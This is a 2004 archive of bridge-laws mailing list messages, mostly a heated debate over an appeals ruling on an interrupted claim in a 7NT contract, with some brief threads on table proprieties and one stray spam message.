> Claimer: "I've got the clubs and.." > Opp: "The clubs don't break. DIRECTOR!!!!" > Claimer: "..and I'm.." > Opp: "Be quiet, you are not allowed to say anything until the TD gets > here. DIRECTOR!!!!!" > Claimer: "..can you let me finish please.." > Opp: "No, you aren't allowed to." > TD (arriving moderately, but not outrageously promptly: "OK, what seems to > be the problem." > Claimer and Opp (Simultaneously): "I'm ..." > TD: "Just a moment please. One at a time. Now who called me?" > > Not tactics I think will work against a good and confident player but > every chance of brow-beating a diffident one into a losing situation. > > Tim > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From jaapvanderneut@hotmail.com Wed Jan 28 15:35:00 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 16:35:00 +0100 Subject: [blml] NOT News References: <401779E1.80201@hdw.be> <007c01c3e5ac$72d4f340$65284cd5@c5s5d3> Message-ID: Konrad, Thanks for the support and the criticism. I just said this to show to Herman c.s. that there are often lines of play they don't realise. Even top level players often have problems to clearly see the single dummy reality when lookiong at a full diagram. And even almost automatic single dummy decisions can look extremely stupid from a double dummy perspective. But I think that anyone smart enough to try for such a line probably will cash the top winners of either black suit before playing the last red which will always win on existing breaks if executed correctly. Surprise because it is the best line in this situation. Another surprise there, claimer doesn't get the best line for free. But for claim ruling purposes I agree with you. Screwing up squeeze positions is almost by definition careless but not irrational (who remembers Valkenburg, GB-Belgium). And the fact he tried to claim this is sufficient proof he was in a very careless mood. Anyway 'hardly normal' translates to careless, not irrational. Jaap ----- Original Message ----- From: "Konrad Ciborowski" To: "blml" Sent: Wednesday, January 28, 2004 3:38 PM Subject: Re: [blml] NOT News ----- Original Message ----- From: "Jaap van der Neut" To: "Herman De Wael" ; "blml" Sent: Wednesday, January 28, 2004 10:35 AM Subject: Re: [blml] NOT News > Herman, > > Your story is ok but your analysis without S9 maybe not. He might just try a > positional black suit squeeze while forgetting to Vienna Coup the position > resulting in him having to guess wich black suit to discard. >Hardly a normal line Why not? It is quite possible that declarer (whether he knows a thing or two about squeezes or not) might decide to cash his side winners before testing the crucial black suits simply to put pressure on the opponents (even when there is no real squeeze). IM(H)O failing to see that this will force dummy to part with one of the black cards is merely a piece of carelessness. Such a line is careless but not irrational. Konrad Ciborowski Kraków, Poland _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Wed Jan 28 15:51:48 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 16:51:48 +0100 Subject: [blml] NOT News References: Message-ID: Tim: So what? His claim statement includes cashing his 3 top spades and making 13 tricks if they break. It is, in the context of the hands held by opponents, flawless. Forget about the rest of the discussion for the moment. If he claims 3S tricks in 7NT (and I presume 10 other top tricks to reach 13) than he is down one. He will lose one of those 13 tricks because they are not there. And he is not allowed to realise the 4th spade becomes good and take that instead as a trick (he might have discarded it on the 4th D a long time ago). Or for that matter why is he allowed to count the clubs to know the 4th club is not good. Now if he claims 'I play for the spade drop' or equi that is fine with me. Clear statement, clear line of play, clear he knows he has only 12 tricks. In that case I will give 7NT made. But I will rule one down if the spade doesn't drop and the clubs are 3-3 (or the 'automatic' squeeze works). Anyway that is nowhere near what he said according to the TD. As I read the claim he already lost a club trick before he could start on spades. Anyway it would be great if claim rules prohibited more than one conditional statement. Then it would be illegal to claim this kind of situations because there are two testable conditions, clubs breaking and spades breaking (forgetting about squeeze positions). Better to play on for the moment. Probably saves some time as well. Jaap ----- Original Message ----- From: "Tim West-Meads" To: Sent: Wednesday, January 28, 2004 3:59 PM Subject: Re: [blml] NOT News > Herman wrote: > > I have no doubt whatsoever that this player, when he told the > > committee what he would have said had he been allowed to continue, was > > lying through his teeth. > > Perhaps he is, perhaps he isn't. However having accepted that his > opponents breached procedure by preventing a claim statement at the table > I don't care. He gets the benefit of the doubt and his opponents do not. > Personally I have no problem believing that a) he had indeed miscounted > his tricks and b) he was indeed intending to say that he was cashing > spades from the top. > > > And I don't even care. Because even if this statement had been made at > > the table, I would still have ruled against this man. As I pointed out > > above, there is no way this man will not realize that he does not have > > his 13 tricks. > > So what? His claim statement includes cashing his 3 top spades and making > 13 tricks if they break. It is, in the context of the hands held by > opponents, flawless. > > > > > Perhaps true - but not important here. If the line stated in his > > > claim is followed he will make 13 tricks. > > > > > > > This is where we are in disagreement. > > I would like to hear the view of others who have followed this thread > > this far. Do you rule in favour of a player who miscounts 13 tricks > > ans plays 3 top spades, only to find that he has miraculously found a > > 14th trick? > > If the player's stamen starts with the line that he is going to start by > cashing 3 top spades then I rule on him starting with 3 top spades, end of > story. > > > > > > > > >>When > > >>playing on, I have no more error to keep him to, so I allow him, > > >>before playing on, to count his tricks and realize he needs a fourth > > >>spade trick. I also "allow" him to look for that trick in all > > possible >>ways. Sadly, he has the nine of spades on the table, so a > > finesse on >>the jack is one possible line, which fails : -1. > > >> > > >>Look up the strange claim for a similar case. > > >> > > >> > > >>>>Even after granting this player all lee-way concerning his > > >> > > >>interrupted >>claim statement, this claim is faulty. > > >> > > >>> > > >>>The claim is valid, in that it generates 13 tricks as the cards lie > > >>>if the stated line is followed. In other words we would have > > >>>accepted the claim as valid had the same statement been made without > > >>>interruption. There is no "rationality" test for claim statements > > - >>>either they lead to success or failure. Rationality becomes an > > issue >>>only when judging lines not encompassed by the claim statement. > > >>> > > >> > > >>And that is where you and I disagree. > > > > > > > > > So be it. Personally I will not accept an objection from opponents > > > based on "if declarer follows a line other than the one stated..". > > > Law70D (new line of play) and L70E (unstated line of play) are > > > irrelevant here. Law 70B is the one under which we are ruling and > > > that does not include a test for normalcy. > > > > Law 70B is of no help here. It does not tell us what to do, after > > we've written down claimer's statement. > > We follow it. We hear objections to the statement. We dismiss as the > ravings of lunatics those objections which require declarer to follow a > line other than the one stated. > > > > > > > Conditional "making or -1" claims are common where I play. They are > > > certainly legal (provided a line is stated) and, IMO, sensible if one > > > wants to avoid wasting time. For example: "Spades from the top, 13 > > > tricks if either black suit breaks or West is squeezed." would be > > > normal and accepted (it would be accepted even if S were 4-2 with the > > > J in the short hand along with 4C). > > > > It would be perfectly normal and acceptable. > > But that is not what this claimer did, nor what he intended, and even > > in his statement to the AC there was nothing about conditional claiming. > > Why should there be? There is no need for him to expand his statement any > further than the moment the first success condition is met. > > > Why do you insist on giving a claimer more than he (morally?) deserves? > > Usually I am the one on the lenient side of such an argument! > > I don't. I am giving him the number tricks consistent with his claim > statement. I am doing so because players must not, in any circumstances, > be allowed to benefit from such interruptions. > > Tim > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From hermandw@hdw.be Wed Jan 28 15:59:43 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 16:59:43 +0100 Subject: [blml] NOT News In-Reply-To: <200401281512.i0SFCnvb018578@cfa.harvard.edu> References: <200401281512.i0SFCnvb018578@cfa.harvard.edu> Message-ID: <4017DC6F.2040704@hdw.be> Steve Willner wrote: >>And I don't even care. Because even if this statement had been made at >>the table, I would still have ruled against this man. > > > Hi, Herman. You asked for other views, so here's mine: you have gone > completely off the rails here. The man states a line of play, the > stated line leads to 13 tricks, and you don't give them?! Come on. > > Do we really believe this player is playing in a National Open Teams? He plays 3 top diamonds, then executes a finesse, and then claims based on another untested suit being 3-3? And we give it to him? Who's off the rails here? > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ieb7loungr@aol.com Wed Jan 28 18:22:45 2004 From: ieb7loungr@aol.com (nigel) Date: Wed, 28 Jan 2004 16:22:45 -0200 Subject: [blml] Re:GOLDLIFE Message-ID:

Business Opportunityqlw

     Earn up to $10,000/Moblxns

rxaclick herepydtq

 

 

 

   To take yourself out of our database please send an email to: remove@work2003.cjb.net

From ereppert@rochester.rr.com Wed Jan 28 19:12:48 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:12:48 -0500 Subject: [blml] NOT News In-Reply-To: <40177B26.2040207@hdw.be> Message-ID: On Wednesday, Jan 28, 2004, at 04:04 US/Eastern, Herman De Wael wrote: > "are you telling me, esteemed player, that you consider K Q 9 8 > opposite A T 2 > as worth 4 tricks?" It is if the suit breaks 3-3. Which it does. And declarer said he would play the spades, and if they break he'd discard the H7 on the 4th spade. That's his line of play. It works. Why do you want to deny it to him? >> Bull. > > you said it. I did. In connection with something completely different. I stand by what I said, in the context in which I said it. I'll thank you not to twist my words for your own purposes, Mr. De Wael. From ereppert@rochester.rr.com Wed Jan 28 19:21:01 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:21:01 -0500 Subject: [blml] NOT News In-Reply-To: <401779E1.80201@hdw.be> Message-ID: <1BBE266E-51C7-11D8-A158-0030656F6826@rochester.rr.com> On Wednesday, Jan 28, 2004, at 03:59 US/Eastern, Herman De Wael wrote: > Well, if you insist, you can have the line he stated to the AC. > But do you really believe anyone would claim like that? Why not? > So imagine some "stated line" that makes sense. Why would I want to imagine anything, when I have facts? > That is the problem with many a claim case presented to blml. Some > readers try to get into the minds of the claimer, and they end up with > true stories. Others just want to look at 52 cards. They end up with > hypothetical stories that serve no purpose whatsoever. So *you* say. I don't believe it. > > Try and imagine this case in real life. Can you conceive of any player > claiming after five tricks in his full senses? No you can't. I can't, huh? I suppose you know my mind better than I do. Why then do I bother having *any* opinions? Whenever I need one, I should just ask you what it is. No thanks. I'll do my own thinking. As for the rest of your post, forget it. At this point, I'm willing to bet there's some twist to this story that Richard hasn't told us yet. In fact, what he's done here, since he's still sitting back and watching the show, bears all the markings of a classic troll. I salute you, Richard. As far as the case as presented, on the evidence presented, I stand with the committee. The rest of you can stand wherever you like. I'm done. From ereppert@rochester.rr.com Wed Jan 28 19:27:25 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:27:25 -0500 Subject: [blml] NOT News In-Reply-To: <40177AB2.3020908@hdw.be> Message-ID: <00EEA142-51C8-11D8-A158-0030656F6826@rochester.rr.com> On Wednesday, Jan 28, 2004, at 04:02 US/Eastern, Herman De Wael wrote: > The problem is that after a stated line of play "breaks down", a > player is not held to it anymore. > > Surely you agree with me that it is possible for the claimer to notice > that he does not have 13 tricks, and that he therefor considers his > "stated" line to have broken down. Look up the strange claim for a > second example. > > I'm not saying (here) that he would notice 100% of the time, but > surely it is possible for him to notice, isn't it? You want to spend time thinking up ways in which the stated line of play might not work, when as the cards lie it *does* work, you go right ahead. I'll stick with the facts as presented. WJB Clinton is alleged to have said, when as President of the United States he wanted to do some thing, he was told that it was unConsitutional, "Find me some way around that." You're doing the same kind of thing here - trying to find some way to deny the claim just because you don't like the way it was presented. That ain't the TD's job. From ereppert@rochester.rr.com Wed Jan 28 19:33:08 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:33:08 -0500 Subject: [blml] NOT News In-Reply-To: <4017B2F6.8070907@hdw.be> Message-ID: On Wednesday, Jan 28, 2004, at 08:02 US/Eastern, Herman De Wael wrote: > The claim statement breaks down as soon as claimer realize he does not > have the 13 tricks he was thinking of. I don't know if he was thinking > of 4 club or 4 spade tricks, or if he was thinking 3+2+4+3=13, but at > some point in time, claimer will realize that he does not have 13 > tricks. That is when the claim statement breaks down. The claim statement is what it is. As TD, you mentally play out the hand using the statement. If that results in the claimant making his claimed number of tricks, that's the end of it. If there is some doubt, then there is more to do, but in this case, as the cards lie, THERE IS NO DOUBT. Next case, please. From ereppert@rochester.rr.com Wed Jan 28 19:43:25 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:43:25 -0500 Subject: [blml] NOT News In-Reply-To: <4017DC6F.2040704@hdw.be> Message-ID: <3CC10C9E-51CA-11D8-A158-0030656F6826@rochester.rr.com> On Wednesday, Jan 28, 2004, at 10:59 US/Eastern, Herman De Wael wrote: > Who's off the rails here? You are. From ereppert@rochester.rr.com Wed Jan 28 19:43:42 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:43:42 -0500 Subject: [blml] NOT News In-Reply-To: <4017DC6F.2040704@hdw.be> Message-ID: <4759E344-51CA-11D8-A158-0030656F6826@rochester.rr.com> On Wednesday, Jan 28, 2004, at 10:59 US/Eastern, Herman De Wael wrote: > Who's off the rails here? You are. From ereppert@rochester.rr.com Wed Jan 28 19:43:50 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 14:43:50 -0500 Subject: [blml] NOT News In-Reply-To: <4017B2F6.8070907@hdw.be> Message-ID: <4BC805C8-51CA-11D8-A158-0030656F6826@rochester.rr.com> On Wednesday, Jan 28, 2004, at 08:02 US/Eastern, Herman De Wael wrote: > I have no doubt whatsoever that this player, when he told the > committee what he would have said had he been allowed to continue, was > lying through his teeth. Apparently, you believe that everyone is inherently a liar. I suppose if there are no honorable men (or women) in the world, you're right. However, I've actually known a few honorable people, so you are definitely wrong. > And I don't even care. Because even if this statement had been made at > the table, I would still have ruled against this man. "I've made up my mind, don't confuse me with facts." So be it. You can join Jaap in my kill-file. So long, Herman, it's been real. From john@asimere.com Wed Jan 28 20:51:10 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 28 Jan 2004 20:51:10 +0000 Subject: [blml] NOT News In-Reply-To: References: <401779E1.80201@hdw.be> Message-ID: In article , Jaap van der Neut writes >Herman, > >Your story is ok but your analysis without S9 maybe not. He might just try a >positional black suit squeeze while forgetting to Vienna Coup the position >resulting in him having to guess wich black suit to discard. Hardly a normal >line but definitly not more abnormal than claiming this. > >Anyway this is an very old discussion. Life would be so much easier if we >ruled this kind of claims one down period rather than trying to analyse if >all 'normal' lines would make. It is a waste of energy and far too difficult >in 95% of the cases. Basic idea, you don't get tricks on top of what you >claim (or on top of what you have when you try a 'miscount' claim). > so it is in my best interest always to interrupt a claim statement. ? cheers john >Jaap > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From jaapvanderneut@hotmail.com Wed Jan 28 23:30:04 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 29 Jan 2004 00:30:04 +0100 Subject: [blml] NOT News References: <4BC805C8-51CA-11D8-A158-0030656F6826@rochester.rr.com> Message-ID: ED: > "I've made up my mind, don't confuse me with facts." So be it. You can > join Jaap in my kill-file. So long, Herman, it's been real. You are a pathetic little crybaby just like DWS. If all you can do is to put people in a kill file whenever you lose an argument or whatever. Shame on you my dear. Join the ranks of the autistic angels. Anyway I don't mind you or anybody putting me, or others, in a kill file. But I don't understand why you simply don't shut up and stop participating in public discussions since you seem to have some personality flaw that doesn't support this mode of communication. BLML becomes kind of unwieldy if all members put a dozen others in their kill file. The whole point of public discussion gets lost and we might as well close down the list. Jaap ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Wednesday, January 28, 2004 8:43 PM Subject: Re: [blml] NOT News > > On Wednesday, Jan 28, 2004, at 08:02 US/Eastern, Herman De Wael wrote: > > > I have no doubt whatsoever that this player, when he told the > > committee what he would have said had he been allowed to continue, was > > lying through his teeth. > > Apparently, you believe that everyone is inherently a liar. I suppose > if there are no honorable men (or women) in the world, you're right. > However, I've actually known a few honorable people, so you are > definitely wrong. > > > And I don't even care. Because even if this statement had been made at > > the table, I would still have ruled against this man. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From jaapvanderneut@hotmail.com Thu Jan 29 00:06:09 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 29 Jan 2004 01:06:09 +0100 Subject: [blml] NOT News References: <401779E1.80201@hdw.be> Message-ID: My dear John, You are too good a director not to know that common sense judgements is part of the job. Of course if I/you as a TD/AC have the impression there is a real claim interrupt then yes I will protect the guy. If I/you have the impression it is done on purpuse than well I guess we are in the serious infractions departement if not cheating. But in this case according to the TD claimer started to claim all the clubs. At this stage he might well be down already depending on some judgement about what he really said (maybe some language problem) with or without interrupt. But by now we should ask the table TD what really happened because I am also guessing on limited facts. But if claimer said something like 'I have the clubs' than I consider an objection by someone holding a club stop as a natural reaction and not a claim interrupt. Maybe it acts as an interrupt but I blame the lousy claim statement for that, not the reaction. And if I also see that someone claimed in a position where no sane player will ever claim I tend to believe he miscounted tricks rather than he was about to make a serious claim. I might be wrong, I have made bad rulings before like we all did, but that is what I would rule unles they come up with a very very good story. And so far I cannot imagine one myself. And then for a fundamental problem. When should the guy object. Even without a spoken reaction a claimer often can see/feel from opps non verbal reaction that something is very wrong. In which case he might easily try to add something to his claim. This theory is consistent with the story not only because he claimed in the first place but because the line of play he pretends he was about to give is completely bananas (like panicing). He said he played SAKQ. Now the logical continuation is something like 'if SJ drops 13 tricks if not .....'. Instead here we got a story 'if SJ drops I will take my tricks in a certain order specifying irelevant discards' completely ignoring the 'what if the spades don't break' part. That is relevant because he needs a rather precise claim to insure he also gets the squeeze position and not only clubs 3-3 (if you realize all this you don't claim of course). You still believe this guy is honest ? Why did he never try to get 4 club tricks. I guess because he knew they were not breaking because opps objected to his 'the clubs are good' statement. And technically it is better to test the clubs first. John > so it is in my best interest always to interrupt a claim statement. ? My answer is no of course. But I am not so critical about opponents behaviour once the claim is wrong. How many people can keep a poker face when someone claims a complete suit when they are holding a stop. Very few. So if you impose them to wait very often claimer will know he should adapt his claim filibuster style. Is that what you want the rules to be ? I prefer to be simple. If claimer screws up he is dead. Jaap ----- Original Message ----- From: "John (MadDog) Probst" To: Sent: Wednesday, January 28, 2004 9:51 PM Subject: Re: [blml] NOT News > In article , Jaap van der Neut > writes > >Herman, > > > >Your story is ok but your analysis without S9 maybe not. He might just try a > >positional black suit squeeze while forgetting to Vienna Coup the position > >resulting in him having to guess wich black suit to discard. Hardly a normal > >line but definitly not more abnormal than claiming this. > > > >Anyway this is an very old discussion. Life would be so much easier if we > >ruled this kind of claims one down period rather than trying to analyse if > >all 'normal' lines would make. It is a waste of energy and far too difficult > >in 95% of the cases. Basic idea, you don't get tricks on top of what you > >claim (or on top of what you have when you try a 'miscount' claim). > > > > so it is in my best interest always to interrupt a claim statement. ? > > cheers john > > >Jaap > > > > -- > John (MadDog) Probst| . ! -^- |AIM GLChienFou > 451 Mile End Road | /|__. \:/ |OKb ChienFou > London E3 4PA | / @ __) -|- |john@asimere.com > +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Thu Jan 29 01:10:59 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 29 Jan 2004 01:10:59 -0000 Subject: [blml] NOT News References: <401779E1.80201@hdw.be> Message-ID: <018d01c3e604$c1f93be0$c99868d5@tinyhrieuyik> [John MadDog Probst] > so it is in my best interest always to interrupt a > claim statement? [Nigel] Apparently not. But if an opponent disputes your claim, it seems that it may be effective to... (1) Dispute the words that you allegedly used. (2) Say that your claim was interrupted. (3) Try to ensure an Anglo-American rather than a Continental European AC. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 25/01/2004 From adam@irvine.com Thu Jan 29 01:18:51 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 28 Jan 2004 17:18:51 -0800 Subject: [blml] NOT News In-Reply-To: Your message of "Wed, 28 Jan 2004 16:00:50 +0100." <00a101c3e5af$87eb7b20$65284cd5@c5s5d3> Message-ID: <200401290118.RAA21670@mailhub.irvine.com> Konrad wrote: > > Martin, > > > > Of course you are right. It was the first thing I said myself. > > > > BUT, for the TD and AC decisions and arguments to make any sense at all we > > (have to) assume declarer was one trick short for his claim. > > > > Anyway that bloody Richard (got a mail that he is away for some time) > often > > gives flawed presentations on purpose so I am curious what is up his > sleave > > this time. > > > > I am afraid nothing. Here is the Bulletin: > > http://www.abf.com.au/events/not/2004/html/docs/contsum.htm > > > The appeal is in the Bulletin 9 - the write-up says nothing > about the five first tricks. > > > Konrad Ciborowski > Kraków, Poland Yep, I wonder why they saw fit not to include this information. But then again, if the bulletin had included the play to the first five tricks, they wouldn't have had room for that nice picture of Simon Edler. -- Adam From svenpran@online.no Thu Jan 29 02:29:26 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 29 Jan 2004 03:29:26 +0100 Subject: [blml] NOT News In-Reply-To: Message-ID: <000001c3e60f$b72d8ee0$6900a8c0@WINXP> Jaap van der Neut > ED: > > "I've made up my mind, don't confuse me with facts." So be it.=20 > > You can join Jaap in my kill-file. So long, Herman, it's been real. >=20 > You are a pathetic little crybaby just like DWS. If all you can do=20 > is to put people in a kill file whenever you lose an argument or=20 > whatever. Shame on you my dear. Join the ranks of the autistic=20 > angels. Anyway I don't mind you or anybody putting me, or others, > in a kill file. But I don't understand why you simply don't shut > up and stop participating in public discussions since you seem to > have some personality flaw that doesn't support this mode of > communication. BLML becomes kind of unwieldy if all members put a > dozen others in their kill file. The whole point of public discussion > gets lost and we might as well close down the list. Is this really necessary? Frankly I myself seem to join the opinion of DWS here on the following basis: Whenever we have a doubtful claim we rule against the claimer. (Except = that quite a few claim appeals referred to recently seem to having been ruled = for the claimer with an incomplete claim statement on the ground that "he is = too good player to fail here", disregarding the fact that he apparently was = "too good" a player to notice the doubtful points in time). However: If opposing side disrupts normal procedure and prevents the = claimer from completing his statement then it is my firm opinion that the = claimer has every right to be heard, preferably by the director and if necessary subsequently by the AC.=20 Because of their disruption to the normal procedure opponents now have forfeited their right to forbid any "new" line of play being included in = the claim statement; as long as the "new" line of play is not in conflict = with what the claimer said originally nobody can tell for certain that he = would not have included this line of play had he been given the opportunity. = Any doubt in this respect must be ruled against the opponents causing such = doubt by prematurely shutting off the claimer. We cannot live with a situation where a player first prevents another = player from making a complete statement and next objects to that player = completing his statement on the ground that his completed statement differs from = the part originally given.=20 The claim itself must (of course) be ruled according to the (complete) statement given by the claimer. What astonishes me most on this particular thread is how it is kept = alive by participants who have absolutely no firm knowledge of what really = happened. They seem to having formed their own opinion and detest any suggestion = that their opinion is not the one and only possible. What are the facts (and actually the only facts we have) is that the AC ruled: 1: The claimer was indeed prevented from giving his complete statement. 2: After hearing how he completed his claim statement they accepted it. 3: Apparently the AC found the completed claim statement to justify the claim. (And what kind of argument is it that no sane player would claim after = just five tricks? I have seen perfectly sound claims made immediately when = dummy was faced, I have seen perfectly sound claims after trick one, after = trick two, after trick three and so on - just take your pick, but please spare = me (us?) that kind of arguments). Sven From cyaxares@lineone.net Thu Jan 29 02:52:12 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Thu, 29 Jan 2004 02:52:12 -0000 Subject: [blml] NOT News References: <007b01c3e5ac$413c1ca0$65284cd5@c5s5d3> Message-ID: <002901c3e613$179c6b40$3034e150@endicott> Grattan Endicott To: Sent: Wednesday, January 28, 2004 2:37 PM Subject: Re: [blml] NOT News It does. At the point when declarer said "I've got the clubs". This cannot mean anything else other than "The clubs are good". No one I know uses phrases like that in another meaning. Don't tell that "I've got the clubs" meant "I have at least two cards of the club suit in my hand". I don't buy it. Konrad Ciborowski Kraków, Poland +=+ Listening from outside the door, all this is very interesting, but the questions in my mind are not resolved by what I am reading and I do not feel concerned enough to go looking for answers on web sites. Presumably the TD made enquiry at the table about the alleged interruption; presumably he let the claimer tell him what he was in the middle of saying when interrupted. Then presumably he (or she) made a ruling as to (a) whether the claim statement was interrupted and, if yes, (b) whether, in full, what the claimer alleged he was saying rang true. I do not support the view that the words "I've got the clubs" can only be construed in one way. If there was an interruption we do need to know what his next words were going to be: For example, might he have been saying "I've got the clubs and I've got the Spades and if either suit breaks .... " or something like that? Maybe this is all cleared up somewhere, but just watching the wheels go round on blml is not settling anything - and people are getting their knickers in a twist over things where what is right and what is wrong depends on what facts were, or could have been, established. ~ G ~ +=+ From HarrisR@missouri.edu Thu Jan 29 03:13:05 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Wed, 28 Jan 2004 21:13:05 -0600 Subject: [blml] Bridge Proprieties In-Reply-To: <79AE9DD0-3527-11D8-9BC8-0030656F6826@rochester.rr.com> References: <79AE9DD0-3527-11D8-9BC8-0030656F6826@rochester.rr.com> Message-ID: >On Monday, Dec 22, 2003, at 13:37 US/Eastern, Adam Beneschan wrote: > >> Then again, I'm one of the few players around who pauses before >> passing in >> the auction 1NT-pass-3NT-(my turn to call). > >I've tried to do that. I've also gotten some mighty strange looks. > New Year's Resolutions: I'm trying to pause after 1NT-p-3NT. It does provoke remarks. Also. I'm trying to ask, always, "What's your NT range?" at my turn after any 1NT (no range announcement.) After all, the ACBL supposedly requires a range announcement for all 1NT openings. I'd try to always hesitate as third hand before playing to the opening lead, but I fear consistency there is beyond me. A Happy and Prosperous New Year to all BLMLers. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From HarrisR@missouri.edu Thu Jan 29 03:30:25 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Wed, 28 Jan 2004 21:30:25 -0600 Subject: Concentric circles - was Re: [blml] Be alert but ... In-Reply-To: <5JRxefArcK5$Ewrf@blakjak.demon.co.uk> References: <5JRxefArcK5$Ewrf@blakjak.demon.co.uk> Message-ID: David Stevenson wrote: >Ed Reppert wrote > >> >>On Friday, Dec 19, 2003, at 20:01 US/Eastern, David Stevenson wrote: >> >>> I say: "What does that call show, please?" >>> >>> Someone replies: "We have no special agreements so I do not need to >>> tell you." >>> >>> That's rude. >> >>Okay. >> >>The closest I've ever seen to this at the bridge table was when an >>opponent was badgering my novice partner for an explanation she could >>not give. I suggested the opponent look at our CC, where the answer to >>her question was clearly marked. She replied superciliously "I don't >>look at convention cards. I ask questions." Had I been a little wiser >>about the laws, I'd have called the TD. If it ever happens again, I >>surely will. And so should you. There is no excuse for rudeness at the >>bridge table. >> >>> Well, when are you going to refuse to answer under this heading of >>> not being a special partnership agreement? >> >>When we truly have no special partnership agreement I will say that to >>an opponent who asks. If that opponent insists on more, I will call the >>TD and let him deal with it. If the TD insists I say more, I'll do my >>best to comply. What more do you want of me? > > Well, I think and hope that you will answer all reasonable questions. >The problem is that there are surely a lot of people who will not, and I >am worried that they hide behind this word special. > > Badgering and harassment are not to be tolerated, of course, but after >an experience in New Orleans where I asked one question about a 3D bid, >got no answer - I mean silence - and asked another question because I >presumed the first question was misunderstood, my RHO accused me of >harassment. The Director, without listening to my side of the story, >gave me a lecture on harassment. I am ashamed to say that I gave him a >lecture on full disclosure, and good Director practice, which reduced my >partner to helpless laughter. Good grief!!! I just about died laughing when I read this. Great!! > > But the worry is that RHO clearly did not expect that his partner >should answer the question, and there does seem a whole idea of not >answering questions, which seems a more prevalent idea in North America. >It worries me considerably. And me too! REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From jaapvanderneut@hotmail.com Thu Jan 29 07:25:27 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 29 Jan 2004 08:25:27 +0100 Subject: [blml] NOT News References: <000001c3e60f$b72d8ee0$6900a8c0@WINXP> Message-ID: Sven: What astonishes me most on this particular thread is how it is kept alive by participants who have absolutely no firm knowledge of what really happened. They seem to having formed their own opinion and detest any suggestion that their opinion is not the one and only possible. Jaap Of course you are right about the facts being under discussion. But in the end RJH asked an opinion on the AC ruling so it cannot be avoided completely. You are wrong I never change my opinion given interesting arguments. Sven: We cannot live with a situation where a player first prevents another player from making a complete statement and next objects to that player completing his statement on the ground that his completed statement differs from the part originally given. Jaap Of course if you use the words 'prevent someone from something' everybody agrees. I do as well. But everything in this case smells as the guy changing his statement after his initial statement about clubs was 'challenged'. And to factual object to an incorrect (part of) statement is a far cry from preventing someone from soemthing. Sven: What are the facts (and actually the only facts we have) is that the AC ruled: 1: The claimer was indeed prevented from giving his complete statement. 2: After hearing how he completed his claim statement they accepted it. 3: Apparently the AC found the completed claim statement to justify the claim. Jaap You forget some crucial facts: 4. this seems to contradict the table TD 5. the timing of the claim and the proposed line of play are utterly ridiculous And given RJH's question 'what about the AC' I still think they have gone completely nuts if the TD statement is vaguely accurate (which of course I don't know). Sven: And what kind of argument is it that no sane player would claim after just five tricks? I have seen perfectly sound claims made immediately when dummy was faced, I have seen perfectly sound claims after trick one, after trick two, after trick three and so on - just take your pick, but please spare me (us?) that kind of arguments). You should read more carefully. I said it was insane to claim 7NT with 12 top tricks and multiple lines for 13. I never said it was silly to claim after 5 tricks. Come on I play top level bridge myself and yes often boards are claimed even after the lead. But not if this requires a complicated multiple conditions statement. Sven: Is this really necessary? Maybe yes maybe no. Maybe to agressive but I uphold my main point. If everybody starts killfiling everybody else we have a problem. Jaap ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Thursday, January 29, 2004 3:29 AM Subject: RE: [blml] NOT News Jaap van der Neut > ED: > > "I've made up my mind, don't confuse me with facts." So be it. > > You can join Jaap in my kill-file. So long, Herman, it's been real. > > You are a pathetic little crybaby just like DWS. If all you can do > is to put people in a kill file whenever you lose an argument or > whatever. Shame on you my dear. Join the ranks of the autistic > angels. Anyway I don't mind you or anybody putting me, or others, > in a kill file. But I don't understand why you simply don't shut > up and stop participating in public discussions since you seem to > have some personality flaw that doesn't support this mode of > communication. BLML becomes kind of unwieldy if all members put a > dozen others in their kill file. The whole point of public discussion > gets lost and we might as well close down the list. Is this really necessary? Frankly I myself seem to join the opinion of DWS here on the following basis: 